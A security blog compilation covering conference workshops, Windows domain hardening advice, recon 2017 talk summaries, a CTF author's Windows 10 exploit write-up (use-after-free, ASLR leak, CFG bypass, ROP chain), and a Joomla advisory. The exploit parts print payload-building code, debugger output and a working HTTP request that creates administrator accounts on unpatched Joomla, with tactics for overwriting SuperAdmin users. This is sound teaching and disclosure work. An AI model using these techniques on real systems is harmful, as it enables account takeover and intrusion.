SecureIT Valais – Workshop Buffer Overflow

La première édition de SecureIT s’est déroulée vendredi le 17 février à Sierre. L’événement organisé par l’AVPC (Association Valaisanne pour la Promotion de la Cybersécurité) en collaboration avec la HES-SO Valais-Wallis, Parti Pirate et le groupe de hackers étiques Fourchette Bombe, a rassemblé près de 300 participants.

J’y ai présenté un workshop sur l’exploitation d’un Buffer Overflow, vulnérabilité très ancienne et pourtant largement exploitée même de nos jours. Le but du workshop était de faire une introduction à l’exploitation de cette vulnérabilité, sans toutefois avoir la prétention d’un cours complet sur le sujet.

Voici les slides ainsi que l’exercice complet de mon workshop.

Mot de passe pour l’archive: scrt

SecureIT – Valais

Voici les slides de ma présentation de Vendredi dernier pour Secure-IT. J’y ai présenté quelques-unes des techniques les plus communément exploitées en test d’intrusion pour compromettre un domaine Windows ainsi que les différentes remédiations possibles.

Pour ceux qui n’auraient pas le temps de parcourir la totalité des slides, voici un bref résumé des recommendations:

  • Désactiver WPAD et les protocoles de résolutions de noms LLMNR et NetBios
  • Utiliser un système come LAPS pour gérer les mots de passe des administrateurs locaux
  • Limiter l’utilisation des comptes privilégiés (surtout les “admins du domaine”)
  • Utiliser AppLocker pour empêcher l’exécution de programmes non autorisés
  • Améliorer le filtrage réseau entre les VLANs internes et même au sein du même VLAN (Firewall local)
  • Limiter les privilèges utilisés par les applications (notamment Tomcat et serveurs SQL)
  • Utiliser un système de corrélation de logs pour pouvoir détecter les anomalies sur le réseau

L’utilisation de tests d’intrusion de type “Red Team” ou “Purple Team” permet ensuite de valider la pertinence des logs et des alertes remontées, ceci dans le but d’accélérer la réponse à incident pour pouvoir palier à une réelle attaque.

recon Bruxelles 2017

Première édition de recon en Belgique en ce début d’année! Le logo de l’évènement change, mais le programme reste le même: Reverse engineering et exploitation. Du coup, pas une seule conférence n’a oublié son screenshot d’IDA Pro (qui est d’ailleurs le sponsor de l’évenement). Comme pour l’édition 2016 de Montréal, les conférences ont duré trois jours avec une seule track, donc pas de remords ni de regrets. 🙂

Je vous propose un aperçu de quelques conférences de cette première édition Européene:

Hackable Security Modules Reversing and Exploiting FIPS-140-2 lvl3 HSM firmware

Cette présentation traitait de l’analyse d’un firmware de HSM dans le but d’y déceler des vulnérabilités. Un HSM (Hardware Security Module) permet de stocker et gérer des clés cryptographiques de manière sécurisée. Ils sont typiquement utilisés par les autorités de certification afin de protéger l’accès à leurs clés privées.

Le HSM testé est produit par la société Ultimaco et est certifié FIPS-140-2 level 3. Cette certification implique que le boitier dispose d’un mécanisme de détection des intrusions physiques en plus d’un système bloquant l’accès aux clés contenues dans le module. L’appliance est un système Linux doté d’un module HSM connecté en PCIe. Lors du premier démarrage, une clé de chiffrement et une clé de backup sont générées afin de protéger toutes les autres clés stockées sur le système.

La première étape a consisté à décompresser le firmware qui utilisait un format propriétaire (MPKG) et qui contenait différents firmwares pour chaque module de l’appareil au format MTC. Ce format MTC est une version modifiée du standard COFF. Après l’avoir reversé, le code binaire a pu être extrait. Sauf que le HSM utilise un processeur de signal (DSP) TMS320C64x produit par Texas Instrument qui n’est pas pris en charge par les logiciels de désassemblage classiques. Ainsi il était nécessaire de créer un module de désassemblage pour ajouter cette architecture dans Capstone. La complexité de l’architecture a rendu la tâche très ardue mais finalement le code a pu être désassemblé.

L’analyse du code a permis de mettre en évidence au moins une vulnérabilité. En effet, un contrôle est effectué au moment d’ouvrir une base de données afin d’empêcher l’accès aux clés. La routine de vérification contrôle que la base de données ne soit pas la chaine de caractères VMBK1 (nom de la base contenant la clé de backup). Sauf que le nom de base peut être préfixé par la localisation de cette dernière, ainsi FLASH\VMBK1.db permet de récupérer les clés.. 🙂

L’entreprise qui développe le produit à mis près d’une année pour corriger la faille… Cependant il ne lui a fallu que quelques jours après la présentation pour demander à l’auteur de retirer ses outils hébergés sur Github.

Breaking Code Read Protection on the NXP LPC-family Microcontrôlers

L’auteur présente le contournement de la protection Code Read Protection (CRP) implémentée dans les microcontrôlers de la famille NXP LPC. Cette protection permet normalement d’éviter que le code du microcontrôleur puisse être extrait de la flash. Chris Gerlinsky nous montre comment mettre en place une attaque par glitching afin de neutraliser le CRP.

Le contournement débute par l’acquisition d’un microcontrôleur de cette famille. Le chip est programmé avec un code simple qui consite en une boucle infinie dans laquelle deux variables sont incrémentées de manière identique puis comparées. Le but étant de détecter si l’une des deux variables n’a pas été incrémentée correctement à cause d’un glitch.

Un circuit particulier (Xmega-A1 MAX4619) est utilisé pour générer les glitchs (impulsions de tension basses) en switchant entre deux sources d’alimentation: Une source à la tension nominale (1.9v) et une autre plus basse qui va permettre de générer les erreurs (~0.7v). Ce circuit est directement utilisé pour alimenter le microcontrôleur. Des glitchs sont ensuite générés en variant la tension basse afin de trouver une valeur qui génère un maximum d’erreurs dans la comparaison des deux variables incrémentées sans interrompre l’alimentation du microcontrôleur. L’étape suivante consiste à faire varier la longueur des impulsions et finalement de décaler l’impulsion dans le temps afin qu’elle affecte la vérification du flag CRP.

Lorsque l’impulsion arrive au bon moment, le résultat de la comparaison du flag CRP est modifiée et l’accès au bootloader est autorisé permettant ainsi de lire la flash.

Le code du module de glitch est disponible sur github.

Transforming Open Source to Open Access in Closed Applications

Un grand nombre de logiciels propriétaires intègrent du code Open Source afin de réduire le temps de développement et par conséquent les coûts. Cette démarche à cependant un certain nombre de désavantages en termes de sécurité qui ne sont pas forcément pris en compte par l’éditeur du logiciel. D’une part, les mises à jour du logiciel Open Source doivent être intégrées dans le projet ce qui retarde la correction effective des vulnérabilités dans la solution propriétaire. D’autre part, l’abandon d’un projet Open Source utilisé expose fortement le logiciel dont le/les composants ne seraient plus mis à jour.

Ce cas de figure est illustré dans la présentation par le logiciel Acrobat Reader. En effet, le moteur de traitement XSLT d’Acrobat est basé sur le projet Open Source Sablotron, qui a cessé d’être maintenu en mai 2015. Les auteurs utilisent une technique de matching de code binaire pour trouver des correspondances entre le code propriétaire et le logiciel Open Source.

L’analyse du code source des fonctions/parties reprisent a permis de mettre en évidence plusieurs vulnérabilités critiques (exécution de code) dans le lecteur de PDF.

miLazyCracker

Kevin Larson a apporté sa pierre à l’édifice du cracking NFC contre les cartes Mifare Classic et Mifare Plus. Il a présenté son outil miLazyCracker qui, faute d’améliorer l’attaque, rend l’exploitation extrêmement simple. En effet, l’outil développé n’attend aucun argument et se met en attente d’une carte Mifare. De plus il exploite un hardware bon marché, le SCL3711.

Vous trouverez son outil directement sur Github miLazyCracker.

Teaching Old Shellcode New Tricks

Le framework Metasploit utilise une technique baptisée Stephen Fewer’s Hash API (SFHA) qui permet de simplifier l’appel d’une fonction particulière de l’API Windows en utilisant un hash. Les solutions antivirus ont fini par utiliser ce pattern afin de détecter Meterpreter (la partie cliente de Metasploit). De plus, l’outil EMET de Microsoft détecte et bloque l’exécution de shellcode qui emploie cette technique.

Ce talk présente une technique basée sur IAT / LLAGBA qui permet de remplacer le SFHA. L’outil développé traite un payload généré à l’aide de msfvenom et remplace le stub SFHA afin de bypasser EMET. En plus de cela, il permet de supprimer les hashs originaux afin de limiter la détection du payload par les anti-virus.

Pour son outil, c’est par ici: fido.

Harnessing Intel Processor Trace on Windows for fuzzing and dynamic analysis

Cette présentation décrit la nouvelle fonctionnalité intégrée dans les processeurs Intel de génération Skylake, à savoir Intel Processor Trace. Cette fonctionnalité permet de tracer l’exécution d’un programme directement en hardware, ce qui réduit largement la charge CPU nécessaire au suivi.

Les deux présentateurs travaillent sur le développement d’un driver Open Source pour Windows qui supporte le multiprocesseur. Un plugin permettant de visualiser la trace directement dans IDA Pro est également disponible. Le code du driver et du plugin sont disponible dans ce repository WindowsIntelPT.

Le driver active la fonctionnalité dans le processeur. Ce dernier commence alors à enregistrer les instructions dans plusieurs fichiers de log (un par processeur logique). En parallèle le driver collecte certaines informations sur la mémoire. Les différentes informations récupérées sont croisées avec le binaire lui-même afin de retracer l’exécution. Finalement le plugin IDA permet de charger la trace et de visualiser graphiquement le chemin d’exécution. D’après les conférenciers, un overhead de l’ordre des 10% serait constaté.

Exploiting a misused C++ shared pointer on Windows 10

In this post I describe a detailed solution to my “winworld” challenge from Insomni’hack CTF Teaser 2017. winworld was a x64 windows binary coded in C++11 and with most of Windows 10 built-in protections enabled, notably AppContainer (through the awesome AppJailLauncher), Control Flow Guard and the recent mitigation policies.

These can quickly be verified using Process Hacker (note also the reserved 2TB of CFGBitmap!):

The task was running on Windows Server 2016, which as far as the challenge is concerned behaves exactly as Windows 10 and even uses the exact same libraries. The challenge and description (now with the source code) can be found here.

Logic of the binary:

Our theme this year was “rise of the machines”; winworld is about the recent Westworld TV show, and implements a “narrator” interface where you can create robots and humans, configure their behavior, and move them on a map where they interact with each other.

The narrator manipulates Person objects, which is a shared class for both “hosts” (robots) and “guests” (humans). Each type is stored in separate list.

Each Person object has the following attributes:

The narrator exposes the following commands:

--[ Welcome to Winworld, park no 1209 ]--
narrator [day 1]$ help
Available commands:
 - new <type> <sex> <name>
 - clone <id> <new_name>
 - list <hosts|guests>
 - info <id>
 - update <id> <attribute> <value>
 - friend <add|remove> <id 1> <id 2>
 - sentence <add|remove> <id> <sentence>
 - map
 - move <id> {<l|r|u|d>+}
 - random_move
 - next_day
 - help
 - prompt <show|hide>
 - quit
narrator [day 1]$

The action happens during calls to move or random_move whenever 2 persons meet. The onEncounter method pointer is called and they interact. Only attack actually has impact on the other Person object: if the attack is successful the other takes damage and possibly dies. Robots can die an infinite number of times but cannot kill humans. Humans only live once and can kill other humans. The next_day feature restores the lives of robots and the health of everyone, but if the object is a dead human, it gets removed from its list.

People talk in an automated way using a Markov Chain that is initialized with the full Westworld script and the added sentences, which may incur in fun conversations. Many sentences still don’t quite make sense though, and since the vulnerabilities aren’t in there, I specified it in the description to spare some reversing time (there is already plenty of C++ to reverse…).

Vulnerability 1: uninitialized attribute in the Person copy constructor

During the Narrator initialization, the map is randomly generated and a specific point is chosen as the “maze center”, special point that when reached under certain conditions, turns a robot into a human. These conditions are that the currently moved Person must be a HOST, have is_conscious set, and there must be a human (GUEST) on the maze center too.

First thing is thus to find that point. All randomized data is obtained with rand(), and the seed is initialized with a classic srand(time(NULL)). Therefore the seed can be determined easily by trying a few seconds before and after the local machine time. Once synchronized with the server’s clock, simply replaying the map initialization algorithm in the exploit will finally allow to find the rand() values used to generate the maze center. Coding a simple pathfinding algorithm then allows to walk any person to this position.

Robots are initialized with is_conscious = false in the Person::Person constructor. However the Person::Person *copy* constructor used in the narrator’s clone function forgets to do this initialization! The value will thus be uninitialized and use whatever was already on the heap. It turns out that just cloning a robot is often enough to get is_conscious != 0… but let’s make sure it always is.

Sometimes the newly cloned robot will end up on the Low Fragmentation Heap, sometimes not. Best is then to make sure it always ends up on the LFH by cloning 0x10 – number of current Person objets = 6. Let’s clone 6+1 times a person and check in windbg:

0:004> ? winworld!Person::Person
Matched: 00007ff7`9b9ee700 winworld!Person::Person (<no parameter info>)
Matched: 00007ff7`9b9ee880 winworld!Person::Person (<no parameter info>)
Ambiguous symbol error at 'winworld!Person::Person'
0:004> bp 00007ff7`9b9ee880 "r rcx ; g" ; bp winworld!Person::printInfos ; g
rcx=0000024a826a3850
rcx=0000024a826800c0
rcx=0000024a82674130
rcx=0000024a82674310
rcx=0000024a82673a50
rcx=0000024a82673910
rcx=0000024a82673d70
Breakpoint 1 hit
winworld!Person::printInfos:
00007ff7`9b9f0890 4c8bdc mov r11,rsp
0:000> r rcx
rcx=0000024a82673d70
0:000> !heap -x 0000024a826800c0
Entry User Heap Segment Size PrevSize Unused Flags
-------------------------------------------------------------------------------------------------------------
0000024a826800b0 0000024a826800c0 0000024a82610000 0000024a82610000 a0 120 10 busy 

0:000> !heap -x 0000024a82673d70
Entry User Heap Segment Size PrevSize Unused Flags
-------------------------------------------------------------------------------------------------------------
0000024a82673d60 0000024a82673d70 0000024a82610000 0000024a828dec10 a0 - 10 LFH;busy

Here we see that the first 2 clones aren’t on the LFH, while the remaining ones are.

The LFH allocations are randomized, which could add some challenge. However these allocations are randomized using an array of size 0x100 with a position that is incremented modulo 0x100, meaning that if we spray 0x100 elements of the right size, we will come back to the same position and thus get a deterministic behavior. We don’t even need to keep the chunks in memory, so we can simply spray using a command string of size 0x90 (same as Person), which will always initialize the is_conscious attribute for the upcoming clone operation.

So now our robot becomes human, and the troubles begin!

Note: It seems that by default Visual Studio 2015 enables the /sdl compilation flag, which will actually add a memset to fill the newly allocated Person object with zeros, and thus makes it unexploitable. I disabled it 😉 But to be fair, I enabled CFG which isn’t default!

Vulnerability 2: misused std::shared_ptr

A shared pointer is basically a wrapper around a pointer to an object. It notably adds a reference counter that gets incremented whenever the shared_ptr is associated to a new variable, and decremented when that variable goes out of scope. When the reference counter becomes 0, no more references to the object are supposed to exist anywhere in the program, so it automatically frees it. This is very useful against bugs like Use After Free.

It is however still possible to be dumb with these smart pointers… in this challenge, when a robot becomes human, it stays in the robots list (but its is_enable field becomes false so it cannot be used as a robot anymore), and gets inserted into the humans list with the following code:

This is very wrong because instead of incrementing the reference counter of the object’s shared_ptr, we instead create a new shared_ptr that points to the same object:

When the reference counter of any of the two shared_ptr gets decremented to 0, the object gets freed and since the other shared_ptr is still active, we will get a Use After Free! To do so, we can kill the human-robot using another human. We also have to remove all his friends otherwise the reference counter will not reach 0. Then using the next_day function will free it when it removes the pointer from the guests vector:

So now getting RIP should be easy since the object holds a method pointer: spray 0x100 strings of length 0x90 with a fake object – a std::string can also contain null bytes – and then move the dead human-robot left-right so he meets his killer again, and triggers the overwritten onEncounter method pointer:

def craft_person(func_ptr, leak_addr, size):
 payload = struct.pack("<Q", func_ptr) # func pointer
 payload += "\x00" * 24 # friends std::vector
 payload += "\x00" * 24 # sentences std::vector

 # std::string name
 payload += struct.pack("<Q", leak_addr)
 payload += "JUNKJUNK"
 payload += struct.pack("<Q", size) # size
 payload += struct.pack("<Q", size) # max_size

 payload += struct.pack("<I", 1) # type = GUEST
 payload += struct.pack("<I", 1) # sex
 payload += "\x01" # is_alive
 payload += "\x01" # is_conscious
 payload += "\x01" # is_enabled
 [...]

payload = craft_person(func_ptr=0x4242424242424242, leak_addr=0, size=0)
for i in range(0x100):
    sendline(s, payload)
sendline(s, "move h7 lr")

Result:

0:004> g
(1a00.c68): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll!LdrpValidateUserCallTarget+0xe:
00007ffa`89b164ae 488b14c2 mov rdx,qword ptr [rdx+rax*8] ds:010986ff`08d30908=????????????????
0:000> ? rax << 9
Evaluate expression: 4774451407313060352 = 42424242`42424200

Control Flow Guard is going to complicate things a bit, but before that we still need to leak one address to defeat ASLR.

Leaking the binary base address

In the previous code sample we crafted a name std::string of size 0 to prevent the binary from crashing when printing the name. Replacing the pointer and size with valid values will print size bytes at that address, therefore we got our arbitrary read primitive. Now what do we print? There is ASLR everywhere except for the _KUSER_SHARED_DATA at 0x7ffe0000, which doesn’t hold any pointer anymore on Windows 10…

Instead of exploiting our UAF with a string we must therefore replace the freed Person object with another object of the same LFH size (0xa0). We don’t have any, but we can check if we could increase the size of one of our vectors instead.

Iteratively trying with our std::vector<std::shared_ptr<Person>> friends, we get lucky with 7 to 9 friends:

0:004> g
Breakpoint 0 hit
winworld!Person::printInfos:
00007ff7`9b9f0890 4c8bdc mov r11,rsp
0:000> dq rcx
000001cf`94daea60 00007ff7`9b9ef700 000001cf`94d949b0
000001cf`94daea70 000001cf`94d94a20 000001cf`94d94a40
000001cf`94daea80 000001cf`94dac6c0 000001cf`94dac760
000001cf`94daea90 000001cf`94dac780 00736572`6f6c6f44
000001cf`94daeaa0 61742074`73657567 00000000`00000007
000001cf`94daeab0 00000000`0000000f 00000002`00000000
000001cf`94daeac0 00000000`20010001 00000000`00000000
000001cf`94daead0 0000003d`00000020 0000000a`00000004
0:000> !heap -x 000001cf`94d949b0
Entry User Heap Segment Size PrevSize Unused Flags
-------------------------------------------------------------------------------------------------------------
000001cf94d949a0 000001cf94d949b0 000001cf94d30000 000001cf94dafb50 a0 - 10 LFH;busy 

0:000> dq 000001cf`94d949b0
000001cf`94d949b0 000001cf`94dfb410 000001cf`94d90ce0
000001cf`94d949c0 000001cf`94dac580 000001cf`94d90800
000001cf`94d949d0 000001cf`94d98f90 000001cf`94d911c0
000001cf`94d949e0 000001cf`94d99030 000001cf`94d912e0 # string pointer
000001cf`94d949f0 000001cf`94db4cf0 000001cf`94d91180 # string size
000001cf`94d94a00 000001cf`94db7e60 000001cf`94d912a0
000001cf`94d94a10 000001cf`94e97c70 000001cf`94d91300
000001cf`94d94a20 7320756f`590a2e73 73696874`20776f68
0:000> dps poi(000001cf`94d949b0+8+0n24*2) L3
000001cf`94d912e0 00007ff7`9b9f7158 winworld!std::_Ref_count<Person>::`vftable'
000001cf`94d912e8 00000001`00000005
000001cf`94d912f0 000001cf`94d99030

The vector now belongs to the same LFH bucket as Person objects. If  we spray 0xf0 strings followed by 0x10 7-friends vectors we will be able to leak pointers: to a vtable inside winworld and to the heap. We should be able to actually do that with 0xff strings then 1 friends vector, but there appears to be some allocations happening in between sometimes – and I haven’t debugged what caused it.

We don’t control the size though, which is huge, so the binary will inevitably crash! Good thing is that on Windows libraries are randomized only once per boot, as opposed to the heap, stack etc. that are randomized for each process. This is dirty, but since this binary is restarted automatically it isn’t a problem, so we have leaked the binary base and we can reuse it in subsequent connections.

Protip: when you develop a Windows exploit, don’t put the binary on the share to your Linux host, this has the nice side effect of forcing randomization of the binary base at each execution! Call it a mitigation if you want 🙂

Bypassing Control Flow Guard

Control Flow Guard (CFG) is Microsoft’s Control Flow Integrity (CFI) measure, which is based on the simple idea that any indirect call must point to the beginning of a function. A call to __guard_check_icall_fptr is inserted before indirect calls:

On Windows 10 this calls ntdll!LdrpValidateUserCallTarget to check that the pointer is a valid function start using its CFGBitmap of allowed addresses, and aborts if not.

The advantage of CFG is that it can hardly break a legit program (so, no reason not to use it!). However 3 generic weaknesses are apparent in CFG:

  1. The set of allowed targets is still huge, compared to a CFI mechanism that verifies the type of function arguments and return values
  2. It cannot possibly protect the stack, since return addresses are not function starts. Microsoft will attempt to fix this with Return Flow Guard and future Intel processor support, but this is not enforced yet.
  3. If a loaded module isn’t compiled with CFG support, all the addresses within that modules are set as allowed targets in the CFGBitmap. Problems may also arise with JIT. (here the binary and all DLLs support CFG and there is no JIT)

While I was writing this challenge an awesome blog post was published about bypassing CFG, that abuses kernel32!RtlCaptureContext (weakness 1). It turns out that j00ru – only person that solved this task, gg! – used it to leak the stack, but I haven’t, and opted for leaking/writing to the stack manually (weakness 2).

We have abused the std::string name attribute for arbitrary read already, now we can also use it to achieve arbitrary write! The only requirement is to replace the string with no more bytes than the max size of the currently crafted std::string object, which is therefore no problem at all. This is cool, however so far we don’t even know where the stack (or even heap) is, and it is randomized on each run of the program as opposed to the libraries. We will come back to this later on. First we also want to leak the addresses of the other libraries that we may want to use in our exploit.

Leaking other libraries

Using the binary base leak and a spray of 0x100 crafted persons strings we have enough to leak arbitrary memory addresses. We can leave the vectors to null bytes to prevent them from crashing during the call to Person::printInfos.

Now that we have the binary base address and that it will stay the same until next reboot, leaking the other libraries is trivial: we can just dump entries in the IAT. My exploit makes use of ucrtbase.dll and ntdll.dll (always in the IAT in the presence of CFG), which can be leaked by crafting a std::string that points to the following addresses:

0:000> dps winworld+162e8 L1
00007ff7`9b9f62e8 00007ffa`86d42360 ucrtbase!strtol
0:000> dps winworld+164c0 L2
00007ff7`9b9f64c0 00007ffa`89b164a0 ntdll!LdrpValidateUserCallTarget
00007ff7`9b9f64c8 00007ffa`89b164f0 ntdll!LdrpDispatchUserCallTarget

To repeat the leak we can overwrite the onEncounter method pointer with the address of gets(), once we have located the base address of ucrtbase.dll. This is of course because of the special context of the task that has its standard input/output streams redirected to the client socket. This will trigger a nice gets(this_object) heap overflow that we can use to overwrite the name string attribute in a loop.

Leaking the stack

Where can we find stack pointers? We can find the PEB pointer from ntdll, however in x64 the PEB structure doesn’t hold any pointer to the TEBs (that contains stack pointers) anymore…

A recent blogpost from j00ru described an interesting fact: while there is no good reason to store stack pointers on the heap, there may be some leftover stack data that was inadvertently copied to the heap during process initialization.

His post describes it on x86, let’s check if we still have stack pointers lurking on the heap in x64:

0:001> !address
[...]
        BaseAddress      EndAddress+1        RegionSize     Type       State                 Protect             Usage
--------------------------------------------------------------------------------------------------------------------------
[...]
        3b`b6cfb000       3b`b6d00000        0`00005000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack      [~0; 2524.1738]
[...]
0:001> !heap
 Heap Address NT/Segment Heap

 17c262d0000 NT Heap
 17c26120000 NT Heap
0:001> !address 17c262d0000 

Usage: Heap
Base Address: 0000017c`262d0000
End Address: 0000017c`26332000
[...]
0:001> .for (r $t0 = 17c`262d0000; @$t0 < 17c`26332000; r $t0 = @$t0 + 8) { .if (poi(@$t0) > 3b`b6cfb000 & poi(@$t0) < 3b`b6d00000) { dps $t0 L1 } }
0000017c`262d2d90 0000003b`b6cff174
0000017c`262deb20 0000003b`b6cffbd8
0000017c`262deb30 0000003b`b6cffbc8
0000017c`262deb80 0000003b`b6cffc30
0000017c`2632cf80 0000003b`b6cff5e0
0000017c`2632cfc0 0000003b`b6cff5e0
0000017c`2632d000 0000003b`b6cff5e0
0000017c`2632d1a0 0000003b`b6cff5e0
0000017c`2632d2c0 0000003b`b6cff5e0
0000017c`2632d4e0 0000003b`b6cff5e0
0000017c`2632d600 0000003b`b6cff5e0
0000017c`2632d660 0000003b`b6cff5e0
0000017c`2632d6e0 0000003b`b6cff5e0
0000017c`2632d700 0000003b`b6cff5e0
0:000> dps winworld+1fbd0 L3
00007ff7`9b9ffbd0 0000017c`2632ca80
00007ff7`9b9ffbd8 0000017c`262da050
00007ff7`9b9ffbe0 0000017c`2632cf20

Yes! We indeed still have stack pointers on the default heap, and we can leak an address from that heap at static offsets from our winworld base address.

Now we can just browse heap pages and try to find these stack addresses. In my exploit for simplicity I used a simple heuristic that finds QWORDS that are located below the heap but also above 1`00000000, and interactively ask which one to choose as a stack leak. This can obviously be improved.

Next step is to dump the stack until we find the targeted return address, craft our std::string to point to that exact address, and use the “update <id> name ropchain” feature to write a ropchain!

Mitigation policies & ROP

Now that we have both an arbitrary write and the exact address where we can overwrite a saved RIP on the stack, all that is left is build a ROP chain. Several ideas to do it:

  • VirtualProtect then shellcode
  • LoadLibrary of a library over SMB
  • Execute a shell command (WinExec etc.)
  • Full ROP to read the flag

As mentioned earlier the binary has some of the recent mitigation policies, in our context the following ones are relevant:

  • ProcessDynamicCodePolicy : prevents inserting new executable memory → VirtualProtect will fail
  • ProcessSignaturePolicy : libraries must be signed  → prevents LoadLibrary
  • ProcessImageLoadPolicy : libraries cannot be loaded from a remote location → prevents LoadLibrary over SMB

The two last options are still available. I also wanted to add a call to UpdateProcThreadAttribute with PROC_THREAD_ATTRIBUTE_CHILD_PROCESS_POLICY in the parent AppJailLauncher process – which would prevent winworld from creating new processes – but since it is a console application, spawning winworld also creates a conhost.exe process. Using this mitigation prevents the creation of the conhost.exe process and therefore the application cannot run.

My solution reads the flag directly in the ROP chain. Since I didn’t want to go through all the trouble of CreateFile and Windows handles, I instead used the _sopen_s / _read / puts / _flushall functions located in ucrtbase.dll that have classic POSIX-style file descriptors (aka 0x3).

Looking for gadgets in ntdll we can find a perfect gadget that pop the first four registers used in the x64 calling convention. Interestingly the gadget turns out to be in CFG itself, which was a scary surprise while single stepping through the rop chain…

0:000> u ntdll+96470 L5
ntdll!LdrpHandleInvalidUserCallTarget+0x70:
00007ffa`89b16470 5a pop rdx
00007ffa`89b16471 59 pop rcx
00007ffa`89b16472 4158 pop r8
00007ffa`89b16474 4159 pop r9
00007ffa`89b16476 c3 ret

Putting it all together we finally get the following:

Z:\awe\insomnihack\2017\winworld>python sploit.py getflag remote
[+] Discovering the PRNG seed...
 Clock not synced with server...
[+] Resynced clock, delay of -21 seconds
[+] Found the maze center: (38, 41)
[+] Check the map for people positions
[+] Make sure that LFH is enabled for bucket of sizeof(Person)
6 / 6 ...
[+] Spray 0x100 std::string to force future initialization of pwnrobot->is_conscious
256 / 256 ...
[+] Cloning host, with uninitialized memory this one should have is_conscious...
[+] Removing current friends of pwnrobot...
[+] Moving a guest to the maze center (37, 86) -> (38, 41)...
[+] Moving our host to the maze center (38, 29) -> (38, 41)...
[+] pwnrobot should now be a human... kill him!
[+] Removing all pwnrobot's friends...
7 / 7 ...
[+] Decrement the refcount of pwnrobot's human share_ptr to 0 -> free it
[+] Spray 0x100 std::string to trigger UAF
256 / 256 ...
[+] heap leak: 0x18a6eae8b40
[+] Leaking stack ptr...
[+] Dumping heap @ 0x18a6eae6b40...
[+] Dumping heap @ 0x18a6eae7b40...
[HEAP] 0x18a6eae7b40
 [00] - 0x18a6ea96c72
 [01] - 0x18a6ea9c550
 [02] - 0x18a6ea9e6e0
Use which qword as stack leak?
[+] Dumping heap @ 0x18a6eae8b40...
[HEAP] 0x18a6eae8b40
 [00] - 0x3ab7faf120
 [01] - 0x3ab7faf4f0
 [02] - 0x18a6ea9c550
 [03] - 0x18a6eae84c0
 [04] - 0x18a6eae8560
 [05] - 0x18a6eae8760
Use which qword as stack leak? 1
[+] stack @ 0x3ab7faf4f0
[+] Leaking stack content...
[-] Haven't found saved RIP on the stack. Increment stack pointer...
[-] Haven't found saved RIP on the stack. Increment stack pointer...
[-] Haven't found saved RIP on the stack. Increment stack pointer...
RIP at offset 0x8
[+] Overwrite stack with ROPchain...
[+] Trigger ROP chain...
Better not forget to initialize a robot's memory!

Flag: INS{I pwn, therefore I am!}
[+] Exploit completed.

Conclusions

You can find the full exploit here.

I hope it was useful to those like me that are not so used at to do C++ or Windows exploitation. Again congratulations to Dragon Sector for solving this task, 1h before the CTF end!

Joomla! Admin user creation (3.4.4 → 3.6.3)

On October 25th, Joomla! was updated to version 3.6.4 to address two vulnerabilities :

CVE-2016-8869 concerning registration with elevated privileges.
CVE-2016-8870 concerning account creation while registration is disabled.

In this post, we wanted to quickly discuss the vulnerability and its impact on vulnerable installations.

Upon patch-diffing the two versions, we noticed that an entire method had been removed from the components/com_users/controllers/user.php file : the register method from the UsersControllerUser class.

patchdiff

Normally, the register method used by Joomla! is the one from the UsersControllerRegistration class, in components/com_users/controllers/registration.php.

The deleted one is most likely a leftover from old patches, and doesn’t enforce a check on whether or not user registration is enabled (as opposed to the UsersControllerRegistration.register method).

Moreover, the $data array is supposed to be sanitized in the first line below, but the unsanitized value is then used in the register function at the end of this snippet, allowing us to submit custom data such as group and uid values.

novalidation

We can call this method by posting our registration values on the index.php?option=com_users&task=User.register URL.

POST /index.php?option=com_users&task=User.register HTTP/1.1
 Host: localhost
 Connection: keep-alive
 Accept-Encoding: gzip, deflate
 Accept: */*
 User-Agent: python-requests/2.11.1
 Cookie: 96b8cb33d84fb0aa459957bcad81cf90=go86e62fsve2a3jaqdmk6h6oq4
 Content-Length: 284
 Content-Type: application/x-www-form-urlencoded

user[password1]=exploit&user[username]=exploit&user[email2][email protected]&user[password2]=exploit&user[name]=exploit&user[email1][email protected]&user[groups][]=7&7c48521fa302676bada83d0e344011f2=1

The newly created user is then found on the server  :

accindb

For a valid request, we need to retrieve a CSRF Token and post it with a value = 1.

We are able to specify a custom user[id] value. If that id pre-exists in the database, the corresponding user will be overwritten during the registration.

Additionally, we can get high privileges by posting an array of user[groups][] values that will be assigned to the account. The default group id for Administrators is 7.

However, the only way to get the SuperAdmin group (8 by default) is to overwrite a pre-existing SuperAdmin user by specifying his user id.

Note that if user registration is disabled, the new/overwritten user will be blocked from logging in resulting in a denial of service for the SuperAdmin account.

In order to find and compromise a SuperAdmin account, it is possible to bruteforce all user ids and try to create a user with all possible groups. This will ensure that only the existing SuperAdmin accounts are overwritten (only the SuperAdmin ids can be overwritten to have SuperAdmin rights).

To create an admin account when the Administrator group id isn’t 7, it is possible to assign all the group ids from 1-99 (but leave the SuperAdmin group id out).

Download the PoC